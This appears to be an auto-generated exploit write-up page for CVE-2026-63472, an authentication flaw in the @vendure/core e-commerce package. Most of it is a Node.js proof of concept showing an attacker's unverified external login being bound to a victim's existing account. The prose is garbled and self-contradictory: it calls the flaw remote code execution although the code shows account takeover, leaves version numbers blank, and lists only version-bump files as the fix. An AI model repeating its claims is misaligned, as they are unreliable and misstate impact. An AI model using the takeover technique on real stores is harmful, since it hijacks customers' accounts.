Exploit write-up

@vendure/core remote code execution (CVE-2026-63472)

CVE-2026-63472 n-day CVSS 9.1 Critical

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-63472 proof-of-concept (mechanism explained below).

'use strict';
/*
 * PoC for CVE-2026-63472 — Vendure ExternalAuthenticationService account-takeover
 * (CWE-287, improper authentication).
 *
 * Vulnerable path: ExternalAuthenticationService.createCustomerAndUser looks up an
 * EXISTING User by identifier (== emailAddress) via a TypeORM query builder and, if
 * one is found, attaches a freshly presented ExternalAuthenticationMethod to that
 * pre-existing account WITHOUT requiring config.verified === true. A custom external
 * AuthenticationStrategy that forwards a not-provider-verified email therefore binds
 * the attacker's external identity to a victim's existing account. The 3.7.0 fix
 * refuses that bind (throws, or diverts to a fresh account), so the attacker's method
 * never lands on the victim's User on the patched build.
 *
 * Runs the REAL compiled service from installed @vendure/core against tolerant
 * in-memory mocks (no DB, no network). Oracle = the genuine consequence of the bug:
 * the attacker's ExternalAuthenticationMethod ends up bound to the victim's
 * pre-existing User (id 42).
 *
 * FIX vs previous attempt: the prior run reached the sink but then threw with
 * "Cannot read properties of undefined (reading 'assignToCurrentChannel')" — my
 * per-position service args did not line up with the real constructor arity/order,
 * so channelService was undefined. Two changes:
 *   (1) A single universal service mock is passed for EVERY constructor position
 *       after `connection`, so ordering/arity no longer matters (getCustomerRole,
 *       assignToCurrentChannel, and any other call all resolve).
 *   (2) The oracle is evaluated even if a downstream (vuln-independent) step throws,
 *       because the takeover mutation (binding the attacker method onto the victim
 *       User) has already occurred by then. On the patched build the victim User is
 *       never mutated, so this remains a true differential signal.
 */

const core = require('@vendure/core');
const { ExternalAuthenticationService, User, Customer, Role } = core;

const VICTIM_EMAIL = 'victim@example.com';
const ATTACKER_ID = 'attacker-controlled-external-id-999';
const ATTACKER_STRATEGY = 'malicious-oauth';

// ---- The victim's pre-existing native account -----------------------------
const victimUser = new User();
victimUser.id = 42;
victimUser.identifier = VICTIM_EMAIL;
victimUser.verified = true;

let nativeMethod;
try {
    const NativeAuthenticationMethod = core.NativeAuthenticationMethod;
    nativeMethod = new NativeAuthenticationMethod();
    nativeMethod.id = 1;
    nativeMethod.identifier = VICTIM_EMAIL;
    nativeMethod.strategy = 'native';
} catch (_) {
    nativeMethod = { id: 1, identifier: VICTIM_EMAIL, strategy: 'native' };
}
victimUser.authenticationMethods = [nativeMethod]; // relation loaded
victimUser.roles = [];

const victimCustomer = new Customer();
victimCustomer.id = 7;
victimCustomer.emailAddress = VICTIM_EMAIL;
victimCustomer.firstName = 'Vic';
victimCustomer.lastName = 'Tim';
victimCustomer.user = victimUser;

// ---- Chainable TypeORM query-builder mock ---------------------------------
function makeQb(result) {
    const terminals = {
        getOne: async () => result,
        getOneOrFail: async () => {
            if (result == null) throw new Error('EntityNotFound');
            return result;
        },
        getMany: async () => (result == null ? [] : [result]),
        getManyAndCount: async () => (result == null ? [[], 0] : [[result], 1]),
        getCount: async () => (result == null ? 0 : 1),
        getRawOne: async () => result,
        getRawMany: async () => (result == null ? [] : [result]),
        getRawAndEntities: async () => ({ entities: result == null ? [] : [result], raw: [] }),
        execute: async () => [],
    };
    const proxy = new Proxy(function () {}, {
        get(_t, p) {
            if (p === 'then') return undefined;           // not a thenable
            if (typeof p === 'symbol') return undefined;
            if (p in terminals) return terminals[p];
            return () => proxy;                            // chainable no-op
        },
        apply() { return proxy; },
    });
    return proxy;
}

// ---- Tolerant persistence mocks -------------------------------------------
function makeRepo(name) {
    const result =
        name === 'User' ? victimUser : name === 'Customer' ? victimCustomer : undefined;
    const base = {
        createQueryBuilder() { return makeQb(result); },
        async find() { return result ? [result] : []; },
        async findOne() { return result; },
        async findOneBy() { return result; },
        async findOneOrFail() {
            if (result) return result;
            throw new Error('not found');
        },
        async save(e) {
            if (Array.isArray(e)) { e.forEach(x => { if (x && x.id == null) x.id = 999; }); return e; }
            if (e && e.id == null) e.id = 999;
            return e;
        },
        create(e) { return e === undefined ? {} : e; },
        merge(a, b) { return Object.assign(a || {}, b); },
        async count() { return result ? 1 : 0; },
        metadata: { name },
    };
    return new Proxy(base, {
        get(t, p) {
            if (p in t) return t[p];
            if (p === 'then' || typeof p === 'symbol') return undefined;
            return async () => undefined;
        },
    });
}

function repoFor(a, b) {
    const entity = typeof b === 'function' ? b : typeof a === 'function' ? a : undefined;
    return makeRepo(entity && entity.name);
}

const connection = {
    getRepository(a, b) { return repoFor(a, b); },
    getConnection() { return { getRepository: e => makeRepo(e && e.name) }; },
    rawConnection: { getRepository: e => makeRepo(e && e.name) },
    async withTransaction(a, b) {
        const work = typeof b === 'function' ? b : typeof a === 'function' ? a : null;
        return work ? work(typeof a === 'object' ? a : undefined) : undefined;
    },
    async startTransaction() {},
};

// ---- Universal service mock (passed for EVERY non-connection ctor slot) ----
// Handles the few calls the sink makes (getCustomerRole, assignToCurrentChannel)
// and defaults everything else to an async no-op, so constructor arg order/arity
// can no longer leave a required collaborator undefined.
function makeUniversalService() {
    const handlers = {
        async getCustomerRole() {
            const r = new Role();
            r.id = 1;
            r.code = '__customer_role__';
            r.permissions = [];
            r.channels = [];
            return r;
        },
        // Real signature is synchronous and returns the (now channel-assigned) entity.
        assignToCurrentChannel(entity) {
            if (entity && entity.channels == null) entity.channels = [];
            return entity;
        },
        getRepository(a, b) { return repoFor(a, b); },
        async withTransaction(a, b) {
            const work = typeof b === 'function' ? b : typeof a === 'function' ? a : null;
            return work ? work(typeof a === 'object' ? a : undefined) : undefined;
        },
    };
    return new Proxy(handlers, {
        get(t, p) {
            if (p in t) return t[p];
            if (p === 'then' || typeof p === 'symbol') return undefined;
            return async () => undefined; // tolerant default for any other call
        },
    });
}

const universal = makeUniversalService();

// connection first (conventional); universal fills every remaining slot regardless
// of the real arity — extra constructor args are harmless in JS.
const svc = new ExternalAuthenticationService(
    connection,
    universal, universal, universal, universal, universal, universal, universal,
);

const ctx = {
    channel: { id: 1, token: '__default_channel__', defaultLanguageCode: 'en' },
    languageCode: 'en',
    apiType: 'shop',
    session: undefined,
};

// ---- Trigger --------------------------------------------------------------
(async () => {
    try {
        // Attacker authenticates via a custom external strategy that forwards the
        // victim's email with verified=false (ownership NOT proven by the provider).
        await svc.createCustomerAndUser(ctx, {
            strategy: ATTACKER_STRATEGY,
            externalIdentifier: ATTACKER_ID,
            verified: false,
            emailAddress: VICTIM_EMAIL,
            firstName: 'At',
            lastName: 'Tacker',
        });
    } catch (e) {
        // A downstream, vuln-independent mock gap may still throw AFTER the bind.
        // The oracle below is checked regardless, since the takeover mutation has
        // already landed on the victim User by that point on the vulnerable build.
        process.stderr.write('createCustomerAndUser threw: ' + (e && e.message) + '\n');
    }

    // Oracle: the attacker's external identity is now bound to the VICTIM's
    // pre-existing User (id 42). This mutation only happens on the vulnerable
    // build, where the existing-user branch binds without a verified check. On the
    // patched build the victim User is never touched, so this stays false.
    const boundToVictim =
        Array.isArray(victimUser.authenticationMethods) &&
        victimUser.authenticationMethods.some(
            m => m && m.externalIdentifier === ATTACKER_ID && m.strategy === ATTACKER_STRATEGY,
        );

    process.stderr.write('boundToVictim=' + boundToVictim + '\n');

    if (boundToVictim) {
        // Account takeover confirmed as a direct consequence of the bug.
        process.stdout.write(String(process.env.POC_CANARY) + '\n');
    }
})();

How to run it.

npm install @vendure/core@
POC_CANARY=demo node poc.js     # prints: demo   (code executed)

npm install @vendure/core@3.7.0
POC_CANARY=demo node poc.js     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
KEVNo — not in the CISA KEV catalog
Affected → fixednpm/@vendure/core < 3.7.0 → fixed in 3.7.0
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

CVE-2026-63472 is package in @vendure/core before 3.7.0. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.

The proof-of-concept above triggers the flaw against a pinned vulnerable build (@vendure/core ); the upstream fix in 3.7.0 closes the affected path.

This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (@vendure/core ) and the patched build (@vendure/core 3.7.0) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on and did not appear on 3.7.0 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.

Preconditions

The target must reach the affected @vendure/core code path with input an attacker can influence. Deployments already on 3.7.0 or later are not affected.

Detection and mitigation

Upgrade @vendure/core to 3.7.0 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.

Am I affected?

Check the installed version of @vendure/core:

npm ls @vendure/core

npm/@vendure/core below 3.7.0 is affected; 3.7.0 and later carry the fix.

The fix changed CHANGELOG.md, lerna.json, packages/admin-ui-plugin/package.json, packages/admin-ui/package.json, packages/admin-ui/src/lib/core/src/common/version.ts; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade @vendure/core to 3.7.0 or later:

npm install @vendure/core@3.7.0

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
@vendure/core (@vendure/core)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-63472
CWE
CWE-287
CVSS
9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Affected
npm/@vendure/core < 3.7.0
Status
Fixed in 3.7.0
Maturity
poc
Disclosed
September 17, 2026
Tags
rce · vendure-core · n-day
References
NVD — CVE-2026-63472
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits